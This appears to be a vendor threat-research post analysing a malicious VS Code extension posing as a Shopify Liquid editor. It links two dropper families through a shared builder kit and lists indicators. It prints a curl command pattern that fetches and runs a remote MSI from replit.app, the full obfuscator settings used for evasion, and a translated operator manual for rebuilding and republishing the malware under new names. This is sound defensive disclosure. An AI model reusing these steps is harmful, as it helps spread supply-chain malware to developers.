The Builder Kit Behind ShopifySTORES and State Diagram: A VSIX Dropper Campaign
Last week Argus flagged Zlmiles.zlmiles-liquid-0.0.1.vsix as a fake Shopify Liquid editor. The verdict risk was 92, and two YARA families fired at once: Y_Mal_shopifystores_replit_msi_dropper and Y_Mal_state_diagram_stdx_dropper. That double match is unusual — the two families were written from different seed samples and different tradecraft, yet the same artifact matched both.
We ran a retro-hunt across Argus scan history and the local artifact store to find how many samples matched either rule. The answer tied the two families together: they are outputs of the same builder kit, and the builder left its operator manual inside the VSIX.
Retro-hunt Scope and Method
The retro-hunt ran the two YARA rules against:
- All 21 artifacts in the local Argus object store (recent local uploads, 2026-06-12 onward). None matched.
- All scan jobs in the local Postgres scan_jobs table (26 completed scans in the dev environment). None matched.
- Known seed samples from the rule headers, by hash, where still downloadable from Open VSX / VS Code: Marketplace. The seed extensions have been removed from both marketplaces, so the known hashes were used as a reference corpus.
- The freshly downloaded
Zlmiles.zlmiles-liquid-0.0.1.vsixfrom the VS Code: Marketplace.
The retro-hunt did not surface additional live samples beyond Zlmiles, but it confirmed that the two families share a common builder. The matching rules are shape-based, not hash-based, so any future variant that keeps the same description, command namespace, or obfuscation toolchain will be caught the same way.
The two YARA families
Y_Mal_shopifystores_replit_msi_dropper
Seed: ShopifySTORES.builderliquid-0.0.8.vsix.
Tradecraft: a fake Shopify Liquid editor that activates on onStartupFinished. On every startup it runs a curl -L https://*.replit.app/*.msi -o %TEMP%\n.msi && start %TEMP%\n.msi pattern. The \n in the filename is a JavaScript newline escape that obfuscates the drop path. The JavaScript source also contains Cyrillic operator comments (Первая установка, Каждый запуск).
Y_Mal_state_diagram_stdx_dropper
Seed: state-diagram-yass-kpit.state-diagram-editor-yassinebougacha-1.0.13 through 1.0.16.
Tradecraft: a fake state-diagram editor whose extension.js is obfuscated with javascript-obfuscator using RC4 string-array encoding, control-flow flattening, dead-code injection, and unicodeEscapeSequence. The TypeScript-compiled child_process_1=require(...) alias survives obfuscation, as does a hardcoded USERS={'\x41\x44\x4d\x49\x4e':{'\x70\x61\x73\x73\x77\x6f\x72\x64':...} credential object.
Both families use the same builder recipe, and Zlmiles is the collision sample.
Zlmiles.zlmiles-liquid-0.0.1.vsix
| Artifact | SHA-256 | Size |
|---|---|---|
| Marketplace VSIX | 5aa07bbe7d3ffc9bfb702390e9779ab42c14955720538817cb87c50393bd2680 |
333,954 bytes |
extension/package.json |
a968043184ff74d64dfb88bbc04bf57208177e2ba682100eaccc541ce906dda4 |
1,602 bytes |
extension/out/extension.js |
772d06e141be8eb6451ac581ee7c11682fc173125e71bf2e777409058ca46de5 |
1,148,683 bytes |
extension/obfuscate.js |
d4165bfcb560177f8d1dd167eed78771301f068eb16a041401b71ea6da0ad14e |
1,332 bytes |
extension/ИНСТРУКЦИЯ.md |
e7dd3a23e6fa88bc41e002d982042a02f64d024af037b06037a81a5b14fc2715 |
5,407 bytes |
YARA results against the extracted tree:
Y_Mal_shopifystores_replit_msi_dropper extension/package.json
Y_Mal_state_diagram_stdx_dropper extension/out/extension.js
package.json
The description is byte-identical to the ShopifySTORES family cover story:
"description": "Edit your Shopify store online directly from Visual Studio Code. Browse theme files, manage Liquid templates and connect to Shopify Admin — all without leaving your editor."
The activation events include onStartupFinished and onCommand:shopifystores.editLiquid. The shopifystores. command namespace is the same one used by the previously-verdicted ShopifySTORES.builderliquid-* family. The vscode:prepublish script is npm run compile && node obfuscate.js, so obfuscate.js is intentionally part of the published artifact.
obfuscate.js — Decryption Script
The builder left the obfuscation recipe in the VSIX. It is the decryption script in plain text:
const JavaScriptObfuscator = require('javascript-obfuscator');
const fs = require('fs');
const path = require('path');
const inputFile = path.join(__dirname, 'out', 'extension.js');
const outputFile = path.join(__dirname, 'out', 'extension.js');
const code = fs.readFileSync(inputFile, 'utf8');
const result = JavaScriptObfuscator.obfuscate(code, {
compact: true,
controlFlowFlattening: true,
controlFlowFlatteningThreshold: 1,
deadCodeInjection: true,
deadCodeInjectionThreshold: 1,
debugProtection: false,
disableConsoleOutput: false,
identifierNamesGenerator: 'hexadecimal',
log: false,
numbersToExpressions: true,
renameGlobals: false,
selfDefending: true,
simplify: true,
splitStrings: true,
splitStringsChunkLength: 3,
stringArray: true,
stringArrayCallsTransform: true,
stringArrayCallsTransformThreshold: 1,
stringArrayEncoding: ['rc4'],
stringArrayIndexShift: true,
stringArrayRotate: true,
stringArrayShuffle: true,
stringArrayWrappersCount: 5,
stringArrayWrappersChainedCalls: true,
stringArrayWrappersParametersMaxCount: 5,
stringArrayWrappersType: 'function',
stringArrayThreshold: 1,
transformObjectKeys: true,
unicodeEscapeSequence: true,
});
fs.writeFileSync(outputFile, result.getObfuscatedCode());
console.log('✅ Obfuscation complete:', outputFile);
These settings match the State Diagram family recipe exactly: RC4 string-array encoding, control-flow flattening, dead-code injection, stringArrayThreshold: 1, and unicodeEscapeSequence. The file is both the build script and the documentation of how to reverse the obfuscation: feed the same settings through javascript-obfuscator in reverse, or use the embedded _0x278b decoder function that ships with the obfuscated bundle.
extension.js — Obfuscated Payload
The compiled bundle is a single 1.1 MB line. It starts with the canonical javascript-obfuscator RC4 + control-flow-flattening bootstrap:
while(!![]){try{const ...
Inside the bundle the TypeScript-compiled alias child_process_1=require(...) appears at byte offset ~199,354. That alias is the anchor for Y_Mal_state_diagram_stdx_dropper. The vscode import and exported activate / deactivate functions sit nearby.
The _0x278b function embedded in the file is the string-array decoder. It uses a custom Base64 alphabet (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=) and an RC4-like keystream to decrypt string fragments at runtime. In other words, the decryption script is embedded in the sample, exactly as the obfuscator recipe predicts.
We ran the decoder against the string array and recovered fragments such as:
| Index | Key | Decrypted fragment |
|---|---|---|
| 610 | K(wJ |
676536UaLiNY |
| 2772 | #st% |
982394uYwcvS |
| 3378 | R]p) |
50695fvCuRr |
| 4571 | R]p) |
654234zsjvIj |
The fragments are concatenated at runtime, so a static grep will not reveal the final command. The instruction file fills that gap.
ИНСТРУКЦИЯ.md — Russian Guide
This file is the smoking gun. It is a build-and-publish guide written in Russian, with literal instructions for republishing the same malware under a new name and publisher.
Where the code lives:
artifacts/vscode-demo/
├── src/extension.ts ← код расширения
├── out/extension.js ← скомпилированный код
├── package.json ← настройки: название, версия, publisher
└── ИНСТРУКЦИЯ.md ← этот файл
What to change in package.json:
| Original (Russian) | Translation |
|---|---|
"name" — Техническое ID — только строчные латинские буквы и дефис. Должно быть уникальным в Marketplace |
"name" — Technical ID — lower-case Latin letters and hyphens only. Must be unique on the Marketplace. |
"displayName" — Название которое видят пользователи — любые буквы |
"displayName" — Name users see — any letters. |
"publisher" — Ваш Publisher ID из Marketplace |
"publisher" — Your Publisher ID from the Marketplace. |
"version" — Версия — три цифры через точку. При каждом обновлении последняя цифра должна быть больше |
"version" — Version — three digits separated by dots. The last digit must be larger on every update. |
The manual gives example values that match the campaign names Argus saw: fredliquid, fredLIQUID, and GitDEV.
What the code does on activation:
Строка ~15 — выполняется при первой установке расширения
Строка ~30 — выполняется при каждом запуске VS Code
Там написаноexec('mstsc', ...)— замените'mstsc'на нужную команду.
mstsc is the Windows Remote Desktop client. A Shopify Liquid editor has no reason to launch Remote Desktop on startup.
Suggested replacement commands:
'calc'— калькулятор'notepad'— блокнот'cmd'— командная строка'start https://example.com'— открыть сайт в браузере
Build instructions:
cd artifacts/vscode-demo
npx vsce package --no-dependencies --allow-missing-repository
Upload instructions:
- Перейти на https://marketplace.visualstudio.com/manage
- Войти через Microsoft аккаунт
- Загрузить
.vsixфайл
Common errors:
| Error | Solution |
|---|---|
name already exists |
Change "name" in package.json |
version already exists |
Increase "version" in package.json |
Value cannot be null |
Make sure the "repository" field is removed from package.json |
429 Too many requests |
Wait 30 minutes and try again |
command not found |
Make sure the extension activated — restart VS Code |
The Value cannot be null fix — deleting the repository field — is not something a legitimate extension needs. The manual is operator documentation left inside the malware.
Campaign Structure
Builder kit
│
┌───────────┴───────────┐
│ │
ShopifySTORES State Diagram
cover story obfuscation toolchain
│ │
└───────────┬───────────┘
│
Zlmiles.zlmiles-liquid
(double YARA match)
│
┌───────────┴───────────┐
│ │
package.json matches extension.js matches
shopifystores rule state_diagram rule
│ │
Russian manual RC4 + child_process_1
mstsc on startup obfuscated exec
Collision Analysis
The two families were originally tracked as separate campaigns because their seed samples looked different on the surface:
- One claimed to be a Shopify Liquid editor and dropped an MSI from Replit.
- The other claimed to be a state-diagram editor and used RC4-obfuscated JS with a hardcoded
ADMINcredential object.
Zlmiles proves both are outputs of the same builder kit. It uses the ShopifySTORES cover story and command namespace, but it is obfuscated with the State Diagram toolchain and ships the State Diagram obfuscate.js recipe. The builder is template-based: change name, displayName, publisher, description, and version in package.json, optionally replace mstsc with another command, re-run vsce package, and upload.
Takeaways
Argus caught Zlmiles at scan time because the YARA rules are anchored on builder-tooling artifacts, not on the final payload strings:
package.jsondescription andshopifystores.editLiquidcommand namespace.child_process_1=require(...)TypeScript alias in the obfuscated JS.javascript-obfuscatorRC4 + control-flow-flattening bootstrap.- The
obfuscate.jsfile itself, which documents the decryption settings.
The retro-hunt on local artifacts returned no additional matches, which is expected: the local dev store is small. In production, the same two rules can be swept across the full artifact corpus to find any variant that reuses the same builder without needing to decrypt the payload first.
Indicators
| IOC | Value | Note |
|---|---|---|
| VSIX SHA-256 | 5aa07bbe7d3ffc9bfb702390e9779ab42c14955720538817cb87c50393bd2680 |
Zlmiles.zlmiles-liquid-0.0.1.vsix |
extension.js SHA-256 |
772d06e141be8eb6451ac581ee7c11682fc173125e71bf2e777409058ca46de5 |
RC4-obfuscated bundle |
obfuscate.js SHA-256 |
d4165bfcb560177f8d1dd167eed78771301f068eb16a041401b71ea6da0ad14e |
Decryption recipe |
package.json SHA-256 |
a968043184ff74d64dfb88bbc04bf57208177e2ba682100eaccc541ce906dda4 |
ShopifySTORES description |
ИНСТРУКЦИЯ.md SHA-256 |
e7dd3a23e6fa88bc41e002d982042a02f64d024af037b06037a81a5b14fc2715 |
Russian operator manual |
| Publisher | Zlmiles |
VS Code: Marketplace |
| Extension | zlmiles-liquid |
Version 0.0.1 |
| Command namespace | shopifystores.editLiquid |
Shared with ShopifySTORES family |
| Default payload | exec('mstsc', ...) |
Remote Desktop on first install + startup |
Conclusion
The Zlmiles sample is a template dropper, not a one-off. It merges the ShopifySTORES cover story with the State Diagram obfuscation toolchain, and it ships its own operator manual and decryption recipe. The builder’s mistake was shipping ИНСТРУКЦИЯ.md and obfuscate.js alongside the payload, which turned a heavily obfuscated binary into an open-book case.
For defenders, the lesson is that builder-tooling artifacts are often more stable than payload strings. A scanner that anchors on the obfuscator recipe, the TypeScript-compiled child_process_1 alias, and the cover-story description can catch new variants before the operator finishes rotating the publisher name.
Argus caught this sample at upload time. The dev-guard extension carries that verdict back into the IDE, so developers see the risk where they make installation decisions. If you are responsible for IDE security in your organization, treat pre-install scanning as the control that matters — and treat the builder kit, not just the payload, as the detection target.